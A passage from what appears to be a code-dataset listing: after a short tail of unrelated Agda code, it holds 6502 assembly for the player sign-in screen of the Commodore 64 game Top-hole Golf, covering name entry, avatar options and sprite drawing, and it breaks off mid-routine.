... | impl _ defs = ∈-all def (defs ns)
getDef cid (P' , super {pid = pid} p P<:P' , def) I = getDef pid (P' , P<:P' , def) I
Prog : Ty c → Set
Prog a = Impl × (Body [] a)
|
src/prelude/sign_in.asm | endstation/golf | 1 | 88341 | ; Top-hole Golf
; Copyright 2020-2021 <NAME>
; *****************
; *** CONSTANTS ***
; *****************
sign_l_WINDOWS2
!bin "../../assets/pictures/window2.bin"
sign_l_END_OF_WINDOW_ICON
!bin "../../assets/pictures/end_of_window.bin"
sign_c_MODE_PLAYER_SELECTION = 0
sign_c_MODE_EDITING_NAME = 1
sign_c_MODE_EDITING_GENDER = 2
sign_c_MODE_EDITING_CONTROL = 3
sign_c_MODE_HAMBURGER = 4
sign_c_MODE_EXIT = 5
sign_l_TEXT_ADDR_LO
!byte <gfxs_c_BITMAP_BASE+(3*40*8)+(5*8)
!byte <gfxs_c_BITMAP_BASE+(8*40*8)+(5*8)
!byte <gfxs_c_BITMAP_BASE+(15*40*8)+(5*8)
!byte <gfxs_c_BITMAP_BASE+(20*40*8)+(5*8)
sign_l_TEXT_ADDR_HI
!byte >gfxs_c_BITMAP_BASE+(3*40*8)+(5*8)
!byte >gfxs_c_BITMAP_BASE+(8*40*8)+(5*8)
!byte >gfxs_c_BITMAP_BASE+(15*40*8)+(5*8)
!byte >gfxs_c_BITMAP_BASE+(20*40*8)+(5*8)
; Addresses of the name texts in screen RAM.
sign_l_TEXT_ADDR_SR_LO
!byte <gfxs_c_DISPLAY_BASE+(3*40)+5
!byte <gfxs_c_DISPLAY_BASE+(8*40)+5
!byte <gfxs_c_DISPLAY_BASE+(15*40)+5
!byte <gfxs_c_DISPLAY_BASE+(20*40)+5
sign_l_TEXT_ADDR_SR_HI
!byte >gfxs_c_DISPLAY_BASE+(3*40)+5
!byte >gfxs_c_DISPLAY_BASE+(8*40)+5
!byte >gfxs_c_DISPLAY_BASE+(15*40)+5
!byte >gfxs_c_DISPLAY_BASE+(20*40)+5
sign_l_DOTS_CR_ADDR_LO
!byte <gfxs_c_DISPLAY_BASE+(3*40)+3
!byte <gfxs_c_DISPLAY_BASE+(8*40)+3
!byte <gfxs_c_DISPLAY_BASE+(15*40)+3
!byte <gfxs_c_DISPLAY_BASE+(20*40)+3
sign_l_DOTS_CR_ADDR_HI
!byte >gfxs_c_DISPLAY_BASE+(3*40)+3
!byte >gfxs_c_DISPLAY_BASE+(8*40)+3
!byte >gfxs_c_DISPLAY_BASE+(15*40)+3
!byte >gfxs_c_DISPLAY_BASE+(20*40)+3
sign_c_DOTS_CR_LO = EDGES_LO
sign_c_DOTS_CR_HI = EDGES_HI
; i.e. write this byte eight times:
sign_c_CURSOR_CHAR = $ab
; NOTE: delay = how long before repeating begins; freq = frames between
; each 'repeat'.
sign_c_KEY_REPEAT_DELAY = 27
sign_c_KEY_REPEAT_FREQ = 4
sign_c_SPR_BASE = 86
sign_c_SPR_MALE_SHIRT = sign_c_SPR_BASE
sign_c_SPR_FEMALE_SHIRT = sign_c_SPR_BASE+1
sign_c_SPR_MALE_SKIN_SHADOW = sign_c_SPR_BASE+2
sign_c_SPR_FEMALE_SKIN_SHADOW = sign_c_SPR_BASE+3
sign_c_SPR_JOYSTICK_PORT2 = sign_c_SPR_BASE+4
sign_c_SPR_JOYSTICK_PORT1 = sign_c_SPR_BASE+5
sign_c_SPR_BORDER_A = sign_c_SPR_BASE+6
sign_c_SPR_BORDER_B = sign_c_SPR_BASE+7
sign_c_MALE_PORTRAIT_ICON = 0
sign_c_FEMALE_PORTRAIT_ICON = 1
sign_c_JOYSTICK_ICON = 2
sign_l_PORTRAIT_ICONS
!bin "../../assets/pictures/portrait_icons.bin"
sign_l_PORTRAIT_SIZE_BYTES = 125
sign_l_PORTRAITS_ADDR_LO
!byte <sign_l_PORTRAIT_ICONS
!byte <(sign_l_PORTRAIT_ICONS+(1*sign_l_PORTRAIT_SIZE_BYTES))
!byte <(sign_l_PORTRAIT_ICONS+(2*sign_l_PORTRAIT_SIZE_BYTES))
sign_l_PORTRAITS_ADDR_HI
!byte >sign_l_PORTRAIT_ICONS
!byte >(sign_l_PORTRAIT_ICONS+(1*sign_l_PORTRAIT_SIZE_BYTES))
!byte >(sign_l_PORTRAIT_ICONS+(2*sign_l_PORTRAIT_SIZE_BYTES))
sign_c_NUM_WINDOWS = 4
sign_l_WINDOW_COLORS !byte CYAN,LIGHT_BLUE,YELLOW,LIGHT_GREEN
sign_l_WINDOW_ROWS !byte 2*8,7*8,14*8,19*8
sign_c_PORTRAIT_COL_PIXELS = 16*4
sign_c_JOYSTICK_COL_PIXELS = 19*4
; 48 bytes. 12 bytes per configuration: male light, female light, male dark,
; female dark. Write these values to video RAM.
sign_l_SKIN_COLORS
!bin "../../assets/pictures/skin_colors.bin"
sign_l_PORTRAITS_VRAM_BASE_LO
!byte <(gfxs_c_DISPLAY_BASE+(2*40)+16)
!byte <(gfxs_c_DISPLAY_BASE+(7*40)+16)
!byte <(gfxs_c_DISPLAY_BASE+(14*40)+16)
!byte <(gfxs_c_DISPLAY_BASE+(19*40)+16)
sign_l_PORTRAITS_VRAM_BASE_HI
!byte >(gfxs_c_DISPLAY_BASE+(2*40)+16)
!byte >(gfxs_c_DISPLAY_BASE+(7*40)+16)
!byte >(gfxs_c_DISPLAY_BASE+(14*40)+16)
!byte >(gfxs_c_DISPLAY_BASE+(19*40)+16)
sign_l_SKIN_COLOR_OFFSETS !byte 0,1,2,40,41,42,80,81,82,120,121,122
sign_l_SKIN_COLOR_SRC_LO
!byte <sign_l_SKIN_COLORS
!byte <(sign_l_SKIN_COLORS+(1*12))
!byte <(sign_l_SKIN_COLORS+(2*12))
!byte <(sign_l_SKIN_COLORS+(3*12))
sign_l_SKIN_COLOR_SRC_HI
!byte >sign_l_SKIN_COLORS
!byte >(sign_l_SKIN_COLORS+(1*12))
!byte >(sign_l_SKIN_COLORS+(2*12))
!byte >(sign_l_SKIN_COLORS+(3*12))
sign_l_SKIN_SHADOWS !byte RED,BROWN
; NOTE: listed in groups of 4 (for each slot).
sign_l_SW_SPR
!byte 0,4,12
!byte 1,5,13
!byte 2,6,14
!byte 3,7,15
sign_l_HW_SPR
!byte 0,1,3
!byte 4,5,7
!byte 0,1,3
!byte 4,5,7
; Table of offsets into above two tables for each slot.
; NOTE: in each case, the FOLLOWING byte holds the end condition.
sign_l_SW_HW_SPR_OFFSETS !byte 0,3,6,9,12
sign_l_SLOT_NUMBERS_DATA
!byte $ef,$af,$ef,$ef,$ef,$ef,$ef,$ab
!byte $ef,$bb,$bb,$fb,$ef,$bf,$bf,$ab
!byte $ef,$bb,$fb,$ef,$fb,$bb,$bb,$ef
!byte $bf,$bf,$bf,$bf,$bb,$ab,$fb,$fb
; Which sprites to enable if slot is occupied.
sign_l_HW_SPR_ENABLE !byte $0b,$b0,$0b,$b0
sign_l_CURSOR_PULSE_COLORS
!byte BLACK,BLUE,VIOLET,LIGHT_BLUE,CYAN,LIGHT_BLUE,VIOLET,BLUE,$ff
!byte BLACK,BLUE,VIOLET,GREY2,LIGHT_BLUE,GREY2,VIOLET,BLUE,$ff
!byte BLACK,BROWN,ORANGE,GREY2,YELLOW,GREY2,ORANGE,BROWN,$ff
!byte BLACK,BROWN,ORANGE,GREEN,LIGHT_GREEN,GREEN,ORANGE,BROWN,$ff
; I.e. offsets into the above table.
sign_l_CURSOR_PULSE_OFFSETS !byte 0,9,18,27
sign_c_CURSOR_PULSE_DELAY = 7
sign_l_BORDER_A_SPR_Y !byte $46,$6e,$a6,$ce
sign_l_BORDER_B_SPR_Y !byte $5b,$83,$bb,$e3
sign_c_BORDER_SPR_X_PLAYER = $98
sign_c_BORDER_SPR_X_JOYSTICK = $b0
; NOTE: index into this table is 'sign_v_current_mode'.
sign_l_BORDER_SPR_X = * - sign_c_MODE_EDITING_GENDER
!byte $98,$b0
sign_l_TEXT_ROWS !byte 3*8,8*8,15*8,20*8
sign_c_TEXT_COL = 5*4
; *****************
; *** VARIABLES ***
; *****************
sign_v_current_player !byte 0
; This is valid only after call to 'goto_next/prev_player', where it is set:
sign_v_previous_current_player !byte 0
sign_v_current_mode !byte 0
sign_v_keyboard_locked !byte 0
sign_v_last_keypress !byte 0
sign_v_key_repeat_on !byte 0
sign_v_key_repeat_count !byte 0
; Pulsing cursor.
sign_v_cursor_pulse_i !byte 0
sign_v_cursor_pulse_count !byte 0
sign_v_cursor_is_pulsing !byte 0
; Border sprites.
sign_v_border_is_active !byte 0
sign_v_shirts_taken !fill shared_c_NUM_SHIRT_COLORS,0
; *******************
; ****** MACROS *****
; *******************
!macro sign_m_set_key_repeat_count .delay {
lda #.delay
sta sign_v_key_repeat_count
} ; sign_m_set_key_repeat_count
; *******************
; *** SUBROUTINES ***
; *******************
!zone {
.iter !byte 0
sign_s_init
; NOTE: as a precaution, move all h/w sprites offscreen lhs (to prevent
; any flickering).
ldx #16
lda #0
-
sta SP0X,x
dex
bpl -
sta sign_v_current_player
sta sign_v_current_mode
sta sign_v_key_repeat_on
lda #$ff
sta sign_v_last_keypress
sec
jsr sign_s_set_dots_ptr
jsr sign_s_draw_windows
jsr sign_s_draw_numbers
jsr sign_s_init_sprites
jsr sign_s_populate_all_slots
jsr sign_s_reset_pulse
jsr prelude_s_draw_hamburger
rts
; end sub sign_s_init
} ; !zone
; **************************************************
!zone {
sign_s_loop
; Return if we're in EXIT mode.
lda sign_v_current_mode
cmp #sign_c_MODE_EXIT
bne sign_s_loop
lda #prelude_c_MODE_TITLES
sta prelude_v_mode_after_fade
rts
; end sub sign_s_loop
} ; !zone
; **************************************************
!zone {
sign_s_handle_player_selection
ldx #joy_c_PORT2
+joy_m_is_up
bne .check_down
+joy_m_is_locked_up
+branch_if_true .exit1
+joy_m_lock_up
jsr sign_s_goto_prev_player
.exit1
rts ; EXIT POINT.
.check_down
+joy_m_is_down
bne .check_left
+joy_m_is_locked_down
+branch_if_true .exit2
+joy_m_lock_down
jsr sign_s_goto_next_player
.exit2
rts ; EXIT POINT.
.check_left
+joy_m_is_left
bne .check_fire
+joy_m_is_locked_left
+branch_if_true .exit3
+joy_m_lock_left
+prelude_m_browse_sfx
lda #sign_c_MODE_HAMBURGER
sta sign_v_current_mode
jsr sign_s_reset_number
sec
jsr prelude_s_highlight_hamburger
.exit3
rts ; EXIT POINT.
.check_fire
; Check fire button.
+joy_m_is_fire
bne .unlock_fire
+joy_m_is_locked_fire
+branch_if_true .exit4
+joy_m_lock_fire
+prelude_m_select_sfx
jsr sign_s_start_editing_name
.exit4
rts ; EXIT POINT.
.unlock_fire
jsr joy_s_release_all_locks
; No joystick activity so look at keyboard.
jsr SCNKEY
ldx SFDX
lda KB_MATRIX_DECODE_TBL,x
bmi .unlock_keyboard
; Acknowledge only if keyboard unlocked.
ldx sign_v_keyboard_locked
bne .end
; PETSCII code in accumulator.
; We're listening out for: 1-4 (swap) and DEL (with or without C= key).
jsr sign_s_handle_keyboard_player_select
inc sign_v_keyboard_locked
rts ; EXIT POINT.
.unlock_keyboard
+clr sign_v_keyboard_locked
.end
rts
; end sub sign_s_handle_player_selection
} ; !zone
; **************************************************
!zone {
sign_s_goto_next_player
; Nothing to do if zero players.
lda shared_v_num_players
bne +
rts ; EXIT POINT.
+
ldx sign_v_current_player
stx sign_v_previous_current_player
cpx shared_v_num_players
beq .to_zero
inx
cpx #shared_c_MAX_PLAYERS
bne +
.to_zero
ldx #0
+
stx sign_v_current_player
clc
jsr sign_s_set_dots_ptr
jsr sign_s_reset_pulse
+prelude_m_browse_sfx
rts
; end sub sign_s_goto_next_player
} ; !zone
; **************************************************
!zone {
sign_s_goto_prev_player
; Nothing to do if <= 1 player.
lda shared_v_num_players
bne +
rts ; EXIT POINT.
+
ldx sign_v_current_player
stx sign_v_previous_current_player
dex
bpl +
; Wraparound - so go to first unoccupied slot or MAX_PLAYERS-1, whichever
; is smaller.
ldx shared_v_num_players
cpx #shared_c_MAX_PLAYERS
bcc +
dex
+
stx sign_v_current_player
clc
jsr sign_s_set_dots_ptr
jsr sign_s_reset_pulse
+prelude_m_browse_sfx
rts
; end sub sign_s_goto_prev_player
} ; !zone
; **************************************************
; INPUTS: C flag set - not yet initialized so don't reset currently
; flashing dots; C flag clear - do reset them.
!zone {
sign_s_set_dots_ptr
bcs +
ldy #0
ldx sign_v_previous_current_player
lda #BLACK ;sign_l_SLOT_NUMBER_COLORS,x
sta (sign_c_DOTS_CR_LO),y
+
ldx sign_v_current_player
lda sign_l_DOTS_CR_ADDR_LO,x
sta sign_c_DOTS_CR_LO
lda sign_l_DOTS_CR_ADDR_HI,x
sta sign_c_DOTS_CR_HI
rts
; end sub sign_s_set_dots_ptr
} ; !zone
; **************************************************
!zone {
sign_s_update
jsr sign_s_draw_upper_sprites
; FIXME: this used to be in sign_s_loop!
lda sign_v_current_mode
cmp #sign_c_MODE_PLAYER_SELECTION
bne +
jsr sign_s_handle_player_selection
jmp .key_repeat
+
cmp #sign_c_MODE_EDITING_NAME
bne +
jsr sign_s_handle_edit_name
jmp .key_repeat
+
cmp #sign_c_MODE_EDITING_GENDER
bne +
jsr sign_s_handle_edit_gender
jmp .pulse
+
cmp #sign_c_MODE_EDITING_CONTROL
bne +
jsr sign_s_handle_edit_control
jmp .pulse
+
cmp #sign_c_MODE_HAMBURGER
bne +
jsr sign_s_handle_hamburger
jmp .pulse
+
; Exit mode? Nothing to do in that case.
rts ; EXIT POINT.
.key_repeat
lda sign_v_key_repeat_on
+branch_if_false .pulse
dec sign_v_key_repeat_count
bne .pulse
; Reset repeat-count to the lower value and re-process the last keypress.
; The PETSCII value is stored in last_keypress variable.
sign_short_delay
+sign_m_set_key_repeat_count sign_c_KEY_REPEAT_FREQ
ldx sign_v_last_keypress
jsr sign_s_handle_keypress
.pulse
jsr sign_s_update_cursor_pulse
.end
rts
; end sub sign_s_update
} ; !zone
; **************************************************
!zone {
.iter !byte 0
sign_s_populate_all_slots
ldx #shared_c_MAX_PLAYERS-1
.loop
stx .iter
jsr sign_s_populate_slot
ldx .iter
dex
bpl .loop
rts
; end sub sign_s_populate_all_slots
} ; !zone
; **************************************************
; INPUTS: X = slot number.
!zone {
.slot_num !byte 0
sign_s_populate_slot
; If slot number is >= number of players, we are erasing rather than
; populating!
cpx shared_v_num_players
bcc .populate
jsr sign_s_erase_name
jsr sign_s_erase_icons
rts ; EXIT POINT.
.populate
stx .slot_num
jsr sign_s_erase_name_from_bitmap
; Name first.
lda shared_v_player_name_lens,x
sta P4
lda sign_l_TEXT_ROWS,x
sta P2
lda #sign_c_TEXT_COL
sta P3
lda shared_v_player_name_indices,x
tax
lda shared_l_NAME_ADDR_LO,x
sta P0
lda shared_l_NAME_ADDR_HI,x
sta P1
jsr font_s_draw_text
; Then the icons...
; Portrait. Male or female?
ldx .slot_num
jsr sign_s_draw_portrait
ldx .slot_num
jsr sign_s_draw_shirt
ldx .slot_num
jsr sign_s_draw_joystick
ldx .slot_num
jsr sign_s_set_name_text_color
rts
; end sub sign_s_populate_slot
} ; !zone
; **************************************************
; Set initial position of cursor before start editing name.
!zone {
sign_s_set_cursor_pos
; NOTE: remember each char of the player's name occupies 8 bytes of bitmap.
ldx sign_v_current_player
lda shared_v_player_name_lens,x
asl
asl
asl
clc
adc sign_l_TEXT_ADDR_LO,x
sta CURSOR_POS_LO
lda sign_l_TEXT_ADDR_HI,x
adc #0
sta CURSOR_POS_HI
lda sign_l_TEXT_ADDR_SR_LO,x
sta CURSOR_POS_SR_LO
lda sign_l_TEXT_ADDR_SR_HI,x
sta CURSOR_POS_SR_HI
rts
; end sub sign_s_set_cursor_pos
} ; !zone
; **************************************************
!zone {
sign_s_draw_cursor
ldy #7
lda #sign_c_CURSOR_CHAR
-
sta (CURSOR_POS_LO),y
dey
bpl -
rts
; end sub sign_s_draw_cursor
} ; !zone
; **************************************************
; INPUTS: C flag set = move forward; C flag clear = move back
!zone {
sign_s_move_cursor_one_place
bcs .forward
; When moving back, we will first delete the cursor in its current
; position.
jsr sign_s_erase_cursor
lda CURSOR_POS_LO
sec
sbc #8
sta CURSOR_POS_LO
lda CURSOR_POS_HI
sbc #0
sta CURSOR_POS_HI
jmp .redraw
.forward
lda CURSOR_POS_LO
clc
adc #8
sta CURSOR_POS_LO
lda CURSOR_POS_HI
adc #0
sta CURSOR_POS_HI
; Put the current display RAM char back to black.
ldx sign_v_current_player
lda shared_v_player_name_lens,x
tay
dey
lda #BLACK
sta (CURSOR_POS_SR_LO),y
.redraw
jsr sign_s_draw_cursor
rts
; end sub sign_s_move_cursor_one_place
} ; !zone
; **************************************************
!zone {
sign_s_handle_edit_name
; Scan the keyboard using Kernal routine.
jsr SCNKEY
ldx SFDX
lda KB_MATRIX_DECODE_TBL,x
bpl +
; No keypress detected.
ldx #$ff
stx sign_v_last_keypress
inx
stx sign_v_key_repeat_on
rts ; EXIT POINT.
+
; PETSCII code is in accumulator.
cmp sign_v_last_keypress
beq .end
sta sign_v_last_keypress
tax
; New key so initialize key repeat.
lda #1
sta sign_v_key_repeat_on
sign_long_delay
+sign_m_set_key_repeat_count sign_c_KEY_REPEAT_DELAY
jsr sign_s_handle_keypress
.end
rts
; end sub sign_s_handle_edit_name
} ; !zone
; **************************************************
; INPUTS: X = PETSCII code.
!zone {
.name_index !byte 0
sign_s_handle_keypress
; Two special cases: DEL ($14) and RETURN ($0d).
cpx #$14
beq .delete
cpx #$0d
beq .return
bne .check_alphabetic
.delete
jsr sign_s_handle_delete
rts ; EXIT POINT.
.return
jsr sign_s_handle_return
rts ; EXIT POINT.
.check_alphabetic
; FIXME: for the moment, accept only alphabetic characters (a-z). These
; have PETSCII codes in range [65,91).
cpx #92
bcs .end
cpx #65
bcc .end
stx MATHS0
; No further characters allowed if the name is already at MAX_LEN.
ldx sign_v_current_player
lda shared_v_player_name_lens,x
; FIXME: why hard-coded?!
cmp #10 ;shared_c_MAX_NAME_LEN
bne +
; Name already at maximum length.
+prelude_m_invalid_sfx
rts ; EXIT POINT.
+
; If SHIFT isn't pressed, add 32 to the ASCII code to get lower case.
lda SHFLAG
and #$01
bne +
lda MATHS0
clc
adc #32
sta MATHS0
+
; X already holds current player index.
lda shared_v_player_name_indices,x
tay
; Source of text into P0-P1.
lda shared_l_NAME_ADDR_LO,y
sta P0
lda shared_l_NAME_ADDR_HI,y
sta P1
lda shared_v_player_name_lens,x
tay
lda MATHS0
sta (P0),y
inc shared_v_player_name_lens,x
iny
sty P4
; TODO: redraw name & cursor!
; P2 and P3 should hold destination of text. Use 'bitmap' coordinates for
; row and then column.
lda sign_l_TEXT_ROWS,x
sta P2
lda #sign_c_TEXT_COL
sta P3
jsr font_s_draw_text
sec
jsr sign_s_move_cursor_one_place
; Text was entered, so make 'typing' sound!
+prelude_m_type_sfx
.end
rts
; end sub sign_s_handle_keypress
} ; !zone
; **************************************************
!zone {
sign_s_handle_delete
ldx sign_v_current_player
lda shared_v_player_name_lens,x
; Nothing to do if name length is 0...
bne +
+prelude_m_invalid_sfx
rts ; EXIT POINT.
+
lda SHFLAG
and #$02
beq .one_char
; When C= key and INST/DEL pressed at the same time, delete the whole of
; the name in one go.
jsr sign_s_delete_name
rts ; EXIT POINT.
.one_char
dec shared_v_player_name_lens,x
; Just need to move cursor back one space (to delete end character).
clc
jsr sign_s_move_cursor_one_place
+prelude_m_delete_sfx
.end
rts
; end sub sign_s_handle_delete
} ; !zone
; **************************************************
!zone {
sign_s_handle_return
jsr sign_s_erase_cursor
lda #0
sta sign_v_cursor_is_pulsing
sta sign_v_key_repeat_on
; If the user has pressed [RETURN] on an empty string, this has the effect
; of deleting the current player.
ldx sign_v_current_player
lda shared_v_player_name_lens,x
beq .delete_player
lda #sign_c_MODE_EDITING_GENDER
sta sign_v_current_mode
jsr sign_s_init_icon_border
rts ; EXIT POINT.
.delete_player
jsr sign_s_delete_player
lda #sign_c_MODE_PLAYER_SELECTION
sta sign_v_current_mode
rts
; end sub sign_s_handle_return
} ; !zone
; **************************************************
!zone {
sign_s_erase_cursor
ldy #7
lda #$ff
-
sta (CURSOR_POS_LO),y
dey
bpl -
rts
; end sub sign_s_erase_cursor
} ; !zone
; **************************************************
!zone {
sign_s_delete_name
; Make sure to erase cursor first!
jsr sign_s_erase_cursor
ldx sign_v_current_player
lda #0
sta shared_v_player_name_lens,x
lda sign_l_TEXT_ADDR_LO,x
sta MATHS0
sta CURSOR_POS_LO
lda sign_l_TEXT_ADDR_HI,x
sta MATHS1
sta CURSOR_POS_HI
lda #$ff ; 'clear' byte
; We can begin erasing at the second character, because the cursor will
; overwrite the first one!
ldy #8
-
sta (MATHS0),y
iny
cpy #(10*8)
bne -
jsr sign_s_draw_cursor
rts
; end sub sign_s_delete_name
} ; !zone
; **************************************************
!zone {
.X !byte $9a,$9a,$9a,$9a,$9a,$9a,$9a,$9a,0,0,0,0,$b0,$b0,$b0,$b0
.Y !byte $48,$70,$a8,$d0,$48,$70,$a8,$d0,0,0,0,0,$46,$6e,$a6,$ce
sign_s_init_sprites
lda #GREY1
sta SPMC0
; Initializing sprites in range: [0,16)
; First the positions.
ldx #0
-
lda .X,x
sta spr_v_x_lo,x
lda #0
sta spr_v_x_hi,x
; All these sprites are multicolor.
sta spr_v_hires,x
lda .Y,x
sta spr_v_y,x
inx
cpx #16
bne -
; All joystick sprites (12-15) should be WHITE.
lda #WHITE
sta spr_v_color+12
sta spr_v_color+13
sta spr_v_color+14
sta spr_v_color+15
; Set the data pointers for 'border' sprites A and B.
lda #sign_c_SPR_BORDER_A
sta spr_v_current_ptr+8
lda #sign_c_SPR_BORDER_B
sta spr_v_current_ptr+9
rts
; end sub sign_s_init_sprites
} ; !zone
; **************************************************
!zone {
sign_s_draw_upper_sprites
lda #0
sta SPENA
ldx #0
jsr sign_s_draw_sprites_for_slot
ldx #1
jsr sign_s_draw_sprites_for_slot
lda sign_v_border_is_active
+branch_if_false .end
lda SPENA
ora #$44
sta SPENA
ldy #8
ldx #2
jsr spr_s_write_to_vic_ii
ldy #9
ldx #6
jsr spr_s_write_to_vic_ii
.end
rts
; end sub sign_s_draw_upper_sprites
} ; !zone
; **************************************************
!zone {
sign_s_handle_edit_gender
ldx #joy_c_PORT2
+joy_m_is_up
bne .check_down
+joy_m_is_locked_up
+branch_if_true .end
+joy_m_lock_up
jsr sign_s_cycle_gender
rts ; EXIT POINT.
.check_down
+joy_m_is_down
bne .check_left
+joy_m_is_locked_down
+branch_if_true .end
+joy_m_lock_down
jsr sign_s_cycle_skin_tone
rts ; EXIT POINT.
.check_left
+joy_m_is_left
bne .check_right
+joy_m_is_locked_left
+branch_if_true .end
+joy_m_lock_left
jsr sign_s_previous_shirt
rts ; EXIT POINT.
.check_right
+joy_m_is_right
bne .check_fire
+joy_m_is_locked_right
+branch_if_true .end
+joy_m_lock_right
jsr sign_s_next_shirt
rts ; EXIT POINT.
.check_fire
+joy_m_is_fire
bne .unlock
+joy_m_is_locked_fire
+branch_if_true .end
+joy_m_lock_fire
lda #sign_c_MODE_EDITING_CONTROL
sta sign_v_current_mode
jsr sign_s_init_icon_border
rts ; EXIT POINT.
.unlock
; No joystick events so unlock everything.
jsr joy_s_release_all_locks
.end
rts
; end sub sign_s_handle_edit_gender
} ; !zone
; **************************************************
!zone {
sign_s_cycle_skin_tone
+prelude_m_browse_sfx
ldx sign_v_current_player
; Change skin tone.
lda shared_v_player_skin_tones,x
eor #$01
sta shared_v_player_skin_tones,x
jsr sign_s_draw_skin_tone
rts
; end sub sign_s_cycle_skin_tone
} ; !zone
; **************************************************
!zone {
sign_s_handle_edit_control
ldx #joy_c_PORT2
+joy_m_is_right
bne .check_fire
+joy_m_is_locked_right
+branch_if_true .end
+joy_m_lock_right
jsr sign_s_cycle_joystick
rts ; EXIT POINT.
.check_fire
+joy_m_is_fire
bne .unlock
+joy_m_is_locked_fire
+branch_if_true .end
+joy_m_lock_fire
+prelude_m_select_sfx
; Finished editing player - back to selection...
lda #sign_c_MODE_PLAYER_SELECTION
sta sign_v_current_mode
; Automatically advance to the next player (unless this is slot #3).
ldx sign_v_current_player
jsr sign_s_take_shirt
inx
cpx #shared_c_MAX_PLAYERS
beq .no_wraparound
stx sign_v_current_player
sec
jsr sign_s_set_dots_ptr
jsr sign_s_reset_pulse
.no_wraparound
+clr sign_v_border_is_active
rts ; EXIT POINT.
.unlock
jsr joy_s_release_all_locks
.end
rts
; end sub sign_s_handle_edit_control
} ; !zone
; **************************************************
!zone {
sign_s_cycle_joystick
+prelude_m_browse_sfx
ldx sign_v_current_player
lda shared_v_player_joysticks,x
eor #$01
sta shared_v_player_joysticks,x
clc
adc #sign_c_SPR_JOYSTICK_PORT2
sta spr_v_current_ptr+12,x
rts
; end sub sign_s_cycle_joystick
} ; !zone
; **************************************************
!zone {
sign_s_cycle_gender
+prelude_m_browse_sfx
ldx sign_v_current_player
lda shared_v_player_genders,x
eor #$01
sta shared_v_player_genders,x
jsr sign_s_draw_portrait
rts
; end sub sign_s_cycle_gender
} ; !zone
; **************************************************
!zone {
.win_iter !byte 0
sign_s_draw_windows
ldx #3
.loop_top
stx .win_iter
lda sign_l_WINDOW_ROWS,x
sta sign_l_WINDOWS2
lda #(2*4)
sta sign_l_WINDOWS2+1
lda #<sign_l_WINDOWS2
sta P0
lda #>sign_l_WINDOWS2
sta P1
lda sign_l_WINDOW_COLORS,x
sta P2
jsr icon_s_draw
ldx .win_iter
dex
bpl .loop_top
rts
; end sub sign_s_draw_windows
} ; !zone
; **************************************************
; INPUTS: X = current player.
!zone {
.PLAYER_NUM = WS_X_LO
sign_s_draw_portrait
stx .PLAYER_NUM
; Gender code will be either 0 (male) or 1 (female). Push onto stack for
; later use.
lda shared_v_player_genders,x
pha
; Transfer this to Y and use as index into table of base addresses for
; portrait icons. We must write the destination address (row,col) directly
; into that memory block.
tay
lda sign_l_PORTRAITS_ADDR_LO,y
sta P0
lda sign_l_PORTRAITS_ADDR_HI,y
sta P1
ldy #0
lda sign_l_WINDOW_ROWS,x
sta (P0),y
iny
lda #sign_c_PORTRAIT_COL_PIXELS
sta (P0),y
lda sign_l_WINDOW_COLORS,x
sta P2
jsr icon_s_draw
; Safe to assume that gender may have changed, so make sure the shirt
; and 'skin shadow' sprites are pointing to the correct data blocks.
; Gender is on top of stack.
ldx .PLAYER_NUM
pla
pha
clc
adc #sign_c_SPR_MALE_SHIRT
sta spr_v_current_ptr,x
pla
clc
adc #sign_c_SPR_MALE_SKIN_SHADOW
sta spr_v_current_ptr+4,x
jsr sign_s_draw_skin_tone
rts
; end sub sign_s_draw_portrait
} ; !zone
; **************************************************
; INPUTS: X = current player.
!zone {
sign_s_draw_shirt
; Actually, we're just setting the shirt sprite's color and data ptr.
; Shirt sprites are in range [0,4).
ldy shared_v_player_shirt_color_indices,x
lda shared_l_PLAYER_SHIRT_COLORS,y
sta spr_v_color,x
lda shared_v_player_genders,x
clc
adc #sign_c_SPR_MALE_SHIRT
sta spr_v_current_ptr,x
rts
; end sub sign_s_draw_shirt
} ; !zone
; **************************************************
; INPUTS: X = current player
!zone {
.PLAYER_NUM = WS_X_LO
sign_s_draw_joystick
stx .PLAYER_NUM
; Set location for joystick icon - write this directly to the
; memory block.
lda #<(sign_l_PORTRAIT_ICONS+(2*sign_l_PORTRAIT_SIZE_BYTES))
sta P0
lda #>(sign_l_PORTRAIT_ICONS+(2*sign_l_PORTRAIT_SIZE_BYTES))
sta P1
ldy #0
lda sign_l_WINDOW_ROWS,x
sta (P0),y
iny
lda #sign_c_JOYSTICK_COL_PIXELS
sta (P0),y
lda sign_l_WINDOW_COLORS,x
sta P2
jsr icon_s_draw
; Overlay 'number' sprite.
ldx .PLAYER_NUM
lda shared_v_player_joysticks,x
; Accumulator will now hold either 0 (port 2) or 1 (port 1).
clc
adc #sign_c_SPR_JOYSTICK_PORT2
; Base spr num for joysticks is 12 (FIXME: use symbolic constant!)
sta spr_v_current_ptr+12,x
rts
; end sub sign_s_draw_joystick
} ; !zone
; **************************************************
; INPUTS: X = current player
!zone {
.DEST_LO = P0
.SRC_LO = P2
.ITER = MATHS0
.PLAYER_NUM = MATHS2
sign_s_draw_skin_tone
stx .PLAYER_NUM
; Destination into P0-P1.
lda sign_l_PORTRAITS_VRAM_BASE_LO,x
sta .DEST_LO
lda sign_l_PORTRAITS_VRAM_BASE_HI,x
sta .DEST_LO+1
; Temp store in MATHS1 for later use...
lda shared_v_player_skin_tones,x
sta MATHS1
; To get an index into the source table, multiply skin tone by 2 and add
; gender. This should give a value in the range [0,4).
asl
clc
adc shared_v_player_genders,x
tay
lda sign_l_SKIN_COLOR_SRC_LO,y
sta .SRC_LO
lda sign_l_SKIN_COLOR_SRC_HI,y
sta .SRC_LO+1
ldy #0
.loop
sty .ITER
lda (.SRC_LO),y
pha
lda sign_l_SKIN_COLOR_OFFSETS,y
tay
pla
sta (.DEST_LO),y
; Again?
ldy .ITER
iny
cpy #12
bne .loop
; Still need to set skin shadow color - either RED or BROWN.
; MATHS1 holds skin tone index. Shadow sprite numbers are 4-7.
ldx MATHS1
lda sign_l_SKIN_SHADOWS,x
ldx .PLAYER_NUM
sta spr_v_color+4,x
rts
; end sub sign_s_draw_skin_tone
} ; !zone
; **************************************************
; INPUTS: X = slot.
!zone {
.count !byte 0
.END = MATHS0
sign_s_draw_sprites_for_slot
; Unless slot is occupied, nothing to do!
cpx shared_v_num_players
bcc +
rts ; EXIT POINT.
+
; Enable the appropriate h/w sprites.
lda SPENA
ora sign_l_HW_SPR_ENABLE,x
sta SPENA
; First get the index for the end of the loop and store.
lda sign_l_SW_HW_SPR_OFFSETS+1,x
sta .END
; And now the first index - goes into X.
lda sign_l_SW_HW_SPR_OFFSETS,x
tax
.loop
stx .count
